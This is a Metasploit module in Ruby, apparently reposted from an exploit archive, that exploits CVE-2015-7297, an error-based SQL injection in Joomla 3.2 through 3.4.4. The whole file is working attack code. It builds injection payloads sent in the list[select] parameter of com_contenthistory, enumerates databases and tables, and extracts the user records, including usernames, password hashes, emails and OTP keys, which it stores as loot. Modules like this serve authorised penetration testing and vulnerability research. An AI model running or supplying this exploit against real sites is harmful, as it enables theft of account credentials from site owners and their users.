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## https://sploitus.com/exploit?id=PACKETSTORM:180700
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in Joomla versions 3.2
through 3.4.4 in order to either enumerate usernames and password hashes.
},
'References' =>
[
['CVE', '2015-7297'],
['URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-sql-injection-vulnerability-exploit-results-in-full-administrative-access/']
],
'Author' =>
[
'Asaf Orpani', # discovery
'bperry', # metasploit module
'Nixawk' # module review
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2015-10-22'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
])
end
def check
flag = Rex::Text.rand_text_alpha(8)
lmark = Rex::Text.rand_text_alpha(5)
rmark = Rex::Text.rand_text_alpha(5)
payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
payload << "0x#{lmark.unpack('H*')[0]},"
payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
payload << "0x#{rmark.unpack('H*')[0]},"
payload << 'FLOOR(RAND(0)*2)'
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
res = sqli(payload)
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
Msf::Exploit::CheckCode::Vulnerable
else
Msf::Exploit::CheckCode::Safe
end
end
def request(query, payload, lmark, rmark)
query = "#{payload}" % query
res = sqli(query)
# Error based SQL Injection
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
$1
end
end
def query_databases(payload, lmark, rmark)
dbs = []
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
dbc = request(query, payload, lmark, rmark)
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
0.upto(dbc.to_i - 1) do |i|
dbname = request(query_fmt % i, payload, lmark, rmark)
dbs << dbname
vprint_good(dbname)
end
%w(performance_schema information_schema mysql).each do |dbname|
dbs.delete(dbname) if dbs.include?(dbname)
end
dbs
end
def query_tables(database, payload, lmark, rmark)
tbs = []
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
query << 'FROM INFORMATION_SCHEMA.TABLES '
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
tbc = request(query, payload, lmark, rmark)
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
query_fmt << 'LIMIT %d,1)'
vprint_status('tables in database: %s' % database)
0.upto(tbc.to_i - 1) do |i|
tbname = request(query_fmt % i, payload, lmark, rmark)
vprint_good(tbname)
tbs << tbname if tbname =~ /_users$/
end
tbs
end
def query_columns(database, table, payload, lmark, rmark)
cols = []
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
colc = request(query, payload, lmark, rmark)
vprint_status(colc)
valid_cols = [ # joomla_users
'activation',
'block',
'email',
'id',
'lastResetTime',
'lastvisitDate',
'name',
'otep',
'otpKey',
'params',
'password',
'registerDate',
'requireReset',
'resetCount',
'sendEmail',
'username'
]
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
0.upto(colc.to_i - 1) do |i|
record = {}
valid_cols.each do |col|
l = 1
record[col] = ''
loop do
value = request(query_fmt % [col, l, i], payload, lmark, rmark)
break if value.blank?
record[col] << value
l += 54
end
end
cols << record
vprint_status(record.to_s)
end
cols
end
def run
lmark = Rex::Text.rand_text_alpha(5)
rmark = Rex::Text.rand_text_alpha(5)
payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
payload << "0x#{lmark.unpack('H*')[0]},"
payload << '%s,'
payload << "0x#{rmark.unpack('H*')[0]},"
payload << 'FLOOR(RAND(0)*2)'
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
dbs = query_databases(payload, lmark, rmark)
dbs.each do |db|
tables = query_tables(db, payload, lmark, rmark)
tables.each do |table|
cols = query_columns(db, table, payload, lmark, rmark)
next if cols.blank?
path = store_loot(
'joomla.users',
'text/plain',
datastore['RHOST'],
cols.to_json,
'joomla.users')
print_good('Saved file to: ' + path)
end
end
end
def sqli(payload)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list[ordering]' => '',
'item_id' => 1,
'type_id' => 1,
'list[select]' => '1 ' + payload
}
)
end
end